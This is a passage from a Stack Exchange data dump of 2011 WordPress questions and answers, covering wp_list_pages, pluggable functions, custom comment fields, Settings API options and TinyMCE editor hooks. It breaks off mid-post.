  <row Id="24104" PostTypeId="2" ParentId="19668" CreationDate="2011-07-26T13:52:08.543" Score="1" ViewCount="" Body="&lt;p&gt;Are you by any chance using special characters, such as accents?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you try to change the encoding of the server by using the .htaccess file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;php_value default_charset UTF-8&#xA;AddDefaultCharset UTF-8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try replacing &lt;strong&gt;UTF-8&lt;/strong&gt; with &lt;strong&gt;iso-8859-1&lt;/strong&gt; or &lt;strong&gt;iso-8859-2&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Are you posting double spaces? WordPress interprets these (in rare occasions) as a forced space, a non-breaking space (nbsp). Did you notice any pattern of deletion by using ampersands or other special characters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you try to deactivate all plugins and set the default theme?&lt;/p&gt;&#xA;" OwnerUserId="7349" LastEditorUserId="7349" LastEditorDisplayName="" LastEditDate="2011-07-26T13:59:31.413" LastActivityDate="2011-07-26T13:59:31.413" CommentCount="1" />
  <row Id="24105" PostTypeId="1" CreationDate="2011-07-26T14:01:35.110" Score="1" ViewCount="53" Body="&lt;p&gt;In my wordpress enviroment, I have a number of pages, and I also have a custom post type called casestudy. I have setup a page-clients.php that has some of it's own content on, I then use the &lt;code&gt;query_posts()&lt;/code&gt; function to pull in all the posts with the post type casestudy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When viewing a single case study I wanting to show a nav, this nav needs to contain the links to pages, clients, and case study and underneath case studies I want to add all the posts that are of the custom post type 'casestudy' so far I have following, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php wp_list_pages(array('include' =&amp;gt; '154, 136', 'title_li' =&amp;gt; '', 'sort_column' =&amp;gt; 'ID', 'sort_order' =&amp;gt; 'DESC', 'depth' =&amp;gt; '1')); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I lists all the casestudy posts also, can it be done with &lt;code&gt;wp_list_pages()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2011-08-26T17:35:09.043" Title="wordpress wp_list_pages help" Tags="&lt;custom-post-types&gt;&lt;navigation&gt;&lt;wp-list-pages&gt;" AnswerCount="1" />
  <row Id="24106" PostTypeId="1" AcceptedAnswerId="24110" CreationDate="2011-07-26T14:06:17.587" Score="1" ViewCount="38" Body="&lt;p&gt;I notice that in some plugins you can override functions by ...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Creating an uploads folder&lt;/li&gt;&#xA;&lt;li&gt;Creating a folder with the plugin name&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!function_exists('function_name')) {&#xA;    function function_name() {&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this standard for all Wordpress plugins or only if they're written in a specific way?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-26T14:29:18.340" LastActivityDate="2011-07-26T14:59:44.717" Title="Overriding functions in wordpress plugins" Tags="&lt;plugins&gt;&lt;overridable-functions&gt;" AnswerCount="2" />
  <row Id="24107" PostTypeId="2" ParentId="23946" CreationDate="2011-07-26T14:08:58.787" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;    $args = array(&#xA;    'post_status' =&amp;gt; &quot;future&quot;,&#xA;    'order_by' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'ASC'&#xA;     );&#xA;$yourLoop = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-07-26T14:08:58.787" />
  <row Id="24108" PostTypeId="2" ParentId="24103" CreationDate="2011-07-26T14:15:45.707" Score="2" ViewCount="" Body="&lt;p&gt;different approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$args = array_merge( $wp_query-&amp;gt;query, array( 'category__not_in' =&amp;gt; array(4,7) ) );&#xA;query_posts( $args );&#xA;get_template_part( 'loop', 'index' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if this approach should not work, please check if one or more of the plugins is interfering - deactivate all plugins; if the exclusion of categories works then, re-activate one plugin at a time to find the interfering plugin.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastEditorUserId="4884" LastEditorDisplayName="" LastEditDate="2011-07-27T20:09:41.193" LastActivityDate="2011-07-27T20:09:41.193" CommentCount="2" />
  <row Id="24109" PostTypeId="2" ParentId="24099" CreationDate="2011-07-26T14:17:17.937" Score="2" ViewCount="" Body="&lt;p&gt;Have you checked under &lt;strong&gt;&lt;em&gt;Admin -&gt; Settings -&gt; Discussion&lt;/em&gt;&lt;/strong&gt; and for individual pages, under &lt;strong&gt;pages&lt;/strong&gt; and &lt;strong&gt;quick-edit&lt;/strong&gt; or the &lt;strong&gt;discussion&lt;/strong&gt; area in &lt;strong&gt;edit page&lt;/strong&gt; below the page editor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the last one does not show, click &lt;strong&gt;screen options&lt;/strong&gt; near the top right, and tick &lt;strong&gt;discussion&lt;/strong&gt; there, then scroll back down.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-26T14:43:23.420" LastActivityDate="2011-07-26T14:43:23.420" CommentCount="1" />
  <row Id="24110" PostTypeId="2" ParentId="24106" CreationDate="2011-07-26T14:20:41.480" Score="0" ViewCount="" Body="&lt;p&gt;If the plugin displays content via any function, the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!function_exists('function_name')) function_name();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... is used for safety.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your plugin is disabled, and the &lt;code&gt;if (!function_exists('function_name'))&lt;/code&gt; is missing, your theme will throw a fatal error.&lt;/p&gt;&#xA;" OwnerUserId="7349" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-07-26T14:30:18.993" LastActivityDate="2011-07-26T14:30:18.993" CommentCount="3" />
  <row Id="24112" PostTypeId="1" CreationDate="2011-07-26T14:40:54.373" Score="2" ViewCount="19" Body="&lt;p&gt;We have a pretty basic load balancing setup with 3 web servers behind a load balancer connected to the same db server and pointing their wp-content/uploads folder to an nfs share. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have the first server rsynching the wordpress files across the other 2 in a cron job to keep the servers in sync (all wp-admin stuff is done on the first server)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering what the best way is to upgrade the entire cluster at once with minimal downtime. &#xA;If I update wordpress on the first server, will the db versioning cause the other 2 servers to stop working? Or can I just update the first server then rsync the files across without any downtime?&lt;/p&gt;&#xA;" OwnerUserId="7350" LastActivityDate="2011-08-23T12:12:36.293" Title="Updating servers at once in web cluster" Tags="&lt;upgrade&gt;&lt;server&gt;" AnswerCount="1" />
  <row Id="24113" PostTypeId="1" AcceptedAnswerId="24129" CreationDate="2011-07-26T14:52:01.807" Score="1" ViewCount="67" Body="&lt;p&gt;I would like to hook the keydown event in the TinyMCE Editor on the edit post admin page. I managed to hook the HTML content editor using the following code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-js prettyprint-override&quot;&gt;&lt;code&gt;jQuery('#content').keydown(function(){&#xA;    alert(&quot;keydown&quot;)&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my failed attempt at hooking the TinyMCE editor. The problem is that the editor hasn't been init yet so the variable ed is undefined.&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-js prettyprint-override&quot;&gt;&lt;code&gt;var ed = tinyMCE.getInstanceById('tinymce');&#xA;ed.onChange.add(function(ed, l) {&#xA;    alert(&quot;keydown&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="7351" LastActivityDate="2011-07-26T16:23:07.317" Title="Hook the Keydown Event in the TinyMCE Post Editor" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;jquery&gt;&lt;javascript&gt;&lt;tinymce&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="24114" PostTypeId="2" ParentId="24105" CreationDate="2011-07-26T14:57:39.120" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;wp_list_pages()&lt;/code&gt; function uses &lt;code&gt;get_pages()&lt;/code&gt;, which accepts a &lt;code&gt;post_type&lt;/code&gt; argument-array key, so you can use that same argument array key in `wp_list_pages():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;wp_list_pages( array(&#xA;    'post_type' =&amp;gt; 'casestudy'&#xA;) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it looks like the &lt;code&gt;post_type&lt;/code&gt; value must be a &lt;em&gt;string&lt;/em&gt;, rather than an &lt;em&gt;array&lt;/em&gt; (that is, if I'm reading the source correctly); which means that &lt;code&gt;wp_list_pages()&lt;/code&gt; can only handle one post-type at a time. If you need to list all in one menu, you could try concatenating them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$pagelist = wp_list_pages( array( &#xA;    'include' =&amp;gt; '154, 136', &#xA;    'title_li' =&amp;gt; '', &#xA;    'sort_column' =&amp;gt; 'ID', &#xA;    'sort_order' =&amp;gt; 'DESC', &#xA;    'depth' =&amp;gt; '1'&#xA;    'echo' =&amp;gt; false&#xA;) );&#xA;&#xA;$casestudylist = wp_list_pages( array(&#xA;    'post_type' =&amp;gt; 'casestudy',&#xA;    'title_li' =&amp;gt; '',&#xA;    'echo' =&amp;gt; false&#xA;) );&#xA;&#xA;$concatenatedlist = $pageslist . $casestudylist;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php echo $concatenatedlist;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Codex references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_list_pages()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_pages()&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-26T16:39:12.883" LastActivityDate="2011-07-26T16:39:12.883" CommentCount="2" />
  <row Id="24115" PostTypeId="2" ParentId="24106" CreationDate="2011-07-26T14:59:44.717" Score="0" ViewCount="" Body="&lt;p&gt;These are referred to as &lt;em&gt;pluggable functions&lt;/em&gt;, and are intended to be able to be over-ridden, either by Plugins, Themes, or Child Themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is only standard for functions that are intended to be over-ridden - and, generally speaking, the better practice is to add filter hooks to function outputs, rather than making functions pluggable.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-26T14:59:44.717" />
  <row Id="24116" PostTypeId="1" CreationDate="2011-07-26T15:05:16.350" Score="0" ViewCount="48" Body="&lt;p&gt;I want to add a field to the comments and have used these codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_fields($fields) {&#xA;    $fields['url2'] = '&amp;lt;p class=&quot;comment-form-url2&quot;&amp;gt;&#xA;                          &amp;lt;label for=&quot;url2&quot;&amp;gt;URL hittad på webben&amp;lt;/label&amp;gt;&#xA;                          &amp;lt;input id=&quot;url2&quot; name=&quot;url2&quot; type=&quot;text&quot; value=&quot;&quot; size=&quot;30&quot; /&amp;gt;&#xA;                       &amp;lt;/p&amp;gt;';&#xA;    return $fields;&#xA;}&#xA;add_filter('comment_form_default_fields','my_fields');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;comments.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;comment_form();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It does not add an extra field in admin comment. Should it, or not?&lt;/li&gt;&#xA;&lt;li&gt;It does not seem to save the extra field. I tried to var dump the comment array. Why not?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5244" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-26T15:24:20.983" LastActivityDate="2011-08-25T19:34:50.477" Title="Using filter to add additional fields to comment_form()" Tags="&lt;comments&gt;&lt;filters&gt;&lt;form&gt;&lt;comment-form&gt;" AnswerCount="1" />
  <row Id="24117" PostTypeId="2" ParentId="24116" CreationDate="2011-07-26T15:14:21.137" Score="0" ViewCount="" Body="&lt;p&gt;To save your extra field, you have to do :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_comment_meta_data( $comment_id ) {&#xA;    add_comment_meta( $comment_id, 'extra_field', $_POST[ 'extra_field' ] );&#xA;}&#xA;add_action( 'comment_post', 'save_comment_meta_data' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wpengineer.com/2214/adding-input-fields-to-the-comment-form/&quot; rel=&quot;nofollow&quot;&gt;this nice tutorial&lt;/a&gt; covering extra fields in comment forms.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-26T15:14:21.137" />
  <row Id="24118" PostTypeId="1" AcceptedAnswerId="24641" CreationDate="2011-07-26T15:33:59.967" Score="2" ViewCount="229" Body="&lt;p&gt;I'm trying to empty an option created with the Settings API and failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;update_option ( 'my_option', '' );&lt;/code&gt; appears to do nothing, whereas &lt;code&gt;delete_option ( 'my_option' );&lt;/code&gt; destroys the whole option causing other problems. I just want to empty the values and reset it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really clueless how to implement this correctly. Can anyone help? 50 point bounty up for grabs!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//Create the menus&#xA;add_action( 'admin_menu', 'tccl_menu' );&#xA;function tccl_menu() {  &#xA;    //add_menu_page: $page_title; $menu_title, $capability, $menu_slug, $function, $icon_url, $position&#xA;    add_menu_page( 'Control', 'Control', 'manage_options', 'tccl-main', 'tccl_menu_page_main', plugins_url( '/traffic-control/images/wp-icon.png' ), '2.2' );&#xA;    //add_submenu_page: $parent_slug, $page_title, $menu_title, $capability, $menu_slug, $function&#xA;    add_submenu_page( 'tccl-main', 'Domains', 'Domains', 'manage_options', 'tccl-domains', 'tccl_menu_page_domains' ); &#xA;}&#xA;&#xA;//Menu callback functions for drawing pages&#xA;function tccl_menu_page_main() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;?php screen_icon( 'options-general' ); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Control&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;?php settings_fields( 'tccl_settings_main' ); ?&amp;gt;&#xA;    &amp;lt;?php do_settings_sections( 'tccl_settings_main' ); ?&amp;gt;&#xA;    &amp;lt;input name=&quot;Submit&quot; type=&quot;submit&quot; value=&quot;Save Changes&quot; class=&quot;button-primary&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;function tccl_menu_page_domains() {&#xA;    $tccl_domains = get_option( 'tccl_settings_domains' );&#xA;    if ( $_POST['trigger'] ) {&#xA;        $p_delete_all = $_POST['delete_all'];&#xA;        $p_ids = $_POST['ids']; #Get IDs&#xA;        $p_deletes = $_POST['deletes']; #Get deletes&#xA;        if ( $p_delete_all ) {&#xA;            //unset( $tccl_domains );&#xA;            //delete_option( 'tccl_settings_domains' );&#xA;            foreach( $tccl_domains as $option ) {&#xA;                $option = false;&#xA;            }&#xA;            $tccl_domains = array ();&#xA;            update_option( 'tccl_settings_domains', $tccl_domains );&#xA;        } elseif ( is_array( $p_ids) ){&#xA;            foreach ( $p_ids as $id ) {&#xA;                if ( $p_deletes[$id] ) {&#xA;                    //unset( $tccl_domains[$id] );&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;?php screen_icon( 'themes' ); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Control&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;?php settings_fields( 'tccl_settings_domains' ); ?&amp;gt;&#xA;    &amp;lt;?php do_settings_sections( 'tccl_settings_domains' ); ?&amp;gt;&#xA;    &amp;lt;input name=&quot;Add&quot; type=&quot;submit&quot; value=&quot;Add Domains&quot; class=&quot;button-primary&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;trigger&quot; value=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Live Domains&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;table class=&quot;widefat&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;delete_all&quot; value=&quot;1&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Domain Name&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tfoot&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;delete_all&quot; value=&quot;1&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Domain Name&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tfoot&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        &amp;lt;?php&#xA;            print_r ( $tccl_domains );&#xA;            if ( is_array( $tccl_domains ) ) {&#xA;                foreach ( $tccl_domains as &amp;amp;$value ) {&#xA;                    echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;lt;input class=&quot;large-text&quot; type=&quot;checkbox&quot;&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;'.$value['text_area'].'&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;                }&#xA;            } else {&#xA;                echo '&amp;lt;tr&amp;gt;&amp;lt;td colspan=&quot;2&quot;&amp;gt;No domains entered. Use the form above to add domains to this list.&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;            }&#xA;        ?&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;br /&amp;gt;&#xA;    &amp;lt;input name=&quot;Delete&quot; type=&quot;submit&quot; value=&quot;Delete Domains&quot; class=&quot;button-secondary&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;    &amp;lt;script&amp;gt;&#xA;        jQuery('input[name=delete_all]').click(function () {&#xA;            if (jQuery(this).is(':checked')) {&#xA;            jQuery('tbody input[type=checkbox]').each(function () {&#xA;                jQuery(this).attr('checked', true);&#xA;            });&#xA;            jQuery('input[name=delete_all]').attr('checked', true);&#xA;            } else {&#xA;            jQuery('tbody input[type=checkbox]').each(function () {&#xA;                jQuery(this).attr('checked', false);&#xA;            });&#xA;            jQuery('input[name=delete_all]').attr('checked', false);&#xA;            }&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;//Settings&#xA;add_action( 'admin_init', 'tccl_admin_init' );&#xA;function tccl_admin_init() {&#xA;    // register_setting: $option_group, $option_name, $sanitize_callback&#xA;    register_setting( 'tccl_settings_main', 'tccl_settings_main', 'tccl_settings_main_validate' );&#xA;    register_setting( 'tccl_settings_domains', 'tccl_settings_domains', 'tccl_settings_domains_validate' );&#xA;    // add_settings_section: $id, $title, $callbak, $page&#xA;    add_settings_section( 'tccl_sections_main', 'Main Settings', 'tccl_sections_main_text', 'tccl_settings_main' );&#xA;    add_settings_section( 'tccl_sections_domains', 'Add Domains', 'tccl_sections_main_text', 'tccl_settings_domains' );&#xA;    // add_settings_field: $id, $title, $callback, $page, $section, $args&#xA;    add_settings_field( 'tccl_fields_main_input', 'Enter text here...', 'tccl_fields_main_input', 'tccl_settings_main', 'tccl_sections_main' );&#xA;    add_settings_field( 'tccl_fields_domains_input', 'Add domains to the list below. Multiple domains should be seperated by commas.', 'tccl_fields_domains_input', 'tccl_settings_domains', 'tccl_sections_domains' );&#xA;}&#xA;&#xA;//Sections callback functions&#xA;function tccl_sections_main_text() {&#xA;    echo '&amp;lt;p&amp;gt;Enter your settings for the main options in the main section...&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;//Field callback functions&#xA;function tccl_fields_main_input() {&#xA;    //Get option 'text_string' value from the database&#xA;    $options = get_option( 'tccl_settings_main' );&#xA;    $text_string = $options['text_string'];&#xA;    //Echo the field&#xA;    echo &quot;&amp;lt;input id='text_string' name='tccl_settings_main[text_string]' type='text' value='$text_string' /&amp;gt;&quot;;&#xA;}&#xA;function tccl_fields_domains_input() {&#xA;    //Get option 'text_string' value from the database&#xA;    $options = get_option( 'tccl_settings_domains' );&#xA;    $text_area = $options['text_area'];&#xA;    //Echo the field&#xA;    echo &quot;&amp;lt;textarea id='text_area' name='tccl_settings_domains[text_area]'&amp;gt;$text_area&amp;lt;/textarea&amp;gt;&quot;;&#xA;}&#xA;&#xA;//Settings callback functions (validation)&#xA;function tccl_settings_main_validate( $input ) {&#xA;    $valid['text_string'] = preg_replace( '/[^a-zA-Z]/', '', $input['text_string'] );&#xA;&#xA;    if ( $valid['text_string'] != $input['text_string'] ) {&#xA;        //add_setting_error: $title, $id, $error_message, $class&#xA;        add_settings_error( 'tccl_fields_main_input', 'tccl_texterror', 'Incorrect value entered!', 'error' );&#xA;    }   &#xA;&#xA;    return $valid;&#xA;}&#xA;function tccl_settings_domains_validate( $input ) {&#xA;    $options = get_option( 'tccl_settings_domains' );&#xA;    $options[] = $input;&#xA;    return $options;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="1341" LastEditorDisplayName="" LastEditDate="2011-08-01T20:07:25.617" LastActivityDate="2011-08-03T16:05:59.723" Title="What's the best method for emptying an option created with the Settings API?" Tags="&lt;plugin-development&gt;&lt;options&gt;&lt;admin-menu&gt;&lt;settings-api&gt;" AnswerCount="3" CommentCount="14" FavoriteCount="3" />
  <row Id="24119" PostTypeId="1" AcceptedAnswerId="24123" CreationDate="2011-07-26T15:38:30.223" Score="0" ViewCount="16" Body="&lt;p&gt;I am looking into having the two following roles:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Editor&lt;/li&gt;&#xA;&lt;li&gt;Publisher&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and the following different states a post can be in:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Draft&lt;/li&gt;&#xA;&lt;li&gt;Ready for publication&lt;/li&gt;&#xA;&lt;li&gt;Published&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The workflow I am seeking is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An &lt;strong&gt;editor&lt;/strong&gt; writes a blogpost. It is a &lt;strong&gt;draft&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Once it is final, the editor marks ist as &lt;strong&gt;ready for publication&lt;/strong&gt;. From that moment on, the editor &lt;strong&gt;looses the ability to edit the blogpost&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;publisher&lt;/strong&gt; reviews, edits and &lt;strong&gt;publishes the blogpost&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Wordpress?&lt;br&gt;&#xA;If not, is there a state of the art plugin for such a workflow?&lt;br&gt;&#xA;It seems like an obvious workflow.&lt;/p&gt;&#xA;" OwnerUserId="5832" LastActivityDate="2011-07-26T16:01:41.153" Title="Publication Workflow" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24120" PostTypeId="2" ParentId="19668" CreationDate="2011-07-26T15:41:03.847" Score="0" ViewCount="" Body="&lt;p&gt;Try to verify if the problem is related to wordpress/mysql or simply to the PHP environment. Try to upload the following php script to your server, and view it with your browser. Paste some data, hit 'submit', and see if the output is truncated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;?php print_r($_POST);?&amp;gt;&amp;lt;/pre&amp;gt;&#xA;&amp;lt;form method=&quot;POST&quot;&amp;gt;&#xA;&amp;lt;textarea name=&quot;test&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, try to run a php script with &lt;code&gt;&amp;lt;?php phpinfo() ?&amp;gt;&lt;/code&gt; command, and see if there are any unusual restrictions in place, e.g. on the &lt;code&gt;post_max_size&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7352" LastActivityDate="2011-07-26T15:41:03.847" CommentCount="1" />
  <row Id="24121" PostTypeId="2" ParentId="12821" CreationDate="2011-07-26T15:44:54.173" Score="0" ViewCount="" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`$`&amp;lt;?php &#xA;`$`if ( function_exists( 'sharing_display' ) ) {&#xA;`$` echo sharing_display();&#xA;`$`}&#xA;`$`the_content();&#xA;`$`?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;worked for me&lt;/p&gt;&#xA;" OwnerUserId="7353" LastActivityDate="2011-07-26T15:44:54.173" />
  <row Id="24122" PostTypeId="1" CreationDate="2011-07-26T15:52:34.763" Score="0" ViewCount="66" Body="&lt;p&gt;Prior to 3.2, I was using some custom JS to get a specific TinyMCE configuration on specific textareas in my Custom Post Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The working code was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tinyMCE.init({&#xA;    theme: &quot;advanced&quot;,  mode: &quot;exact&quot;,  width: &quot;100%&quot;,  skin: &quot;wp_theme&quot;, elements: localized_elements, theme_advanced_buttons1:&quot;bold,italic,strikethrough,|,temp_min,temp_max,|,pH_min,pH_max&quot;,theme_advanced_toolbar_location : &quot;top&quot;,theme_advanced_toolbar_align:&quot;left&quot;,theme_advanced_statusbar_location:&quot;bottom&quot;,theme_advanced_resizing:true,theme_advanced_resize_horizontal:false,theme_advanced_resizing_min_height: '20', plugins : 'inlinepopups',&#xA;    setup : function(ed) {&#xA;        ed.addButton('temp_min', {&#xA;            title : 'Temperature: Minimum',&#xA;            image : '&amp;lt;?php echo plugins_url('images/temp_min.png' , __FILE__); ?&amp;gt;',&#xA;            onclick : function() {&#xA;                ed.focus();&#xA;                ed.selection.setContent('[temp_min]');&#xA;            }&#xA;        }),&#xA;        ed.addShortcut(&quot;ctrl+1&quot;, &quot;temp_min&quot;, &quot;temp_min&quot;),&#xA;    ed.addButton('temp_max', {&#xA;            title : 'Temperature: Maximum',&#xA;            image : '&amp;lt;?php echo plugins_url('images/temp_max.png' , __FILE__); ?&amp;gt;',&#xA;            onclick : function() {&#xA;                ed.focus();&#xA;                ed.selection.setContent('[temp_max]');&#xA;            }&#xA;        }),&#xA;        ed.addButton('pH_min', 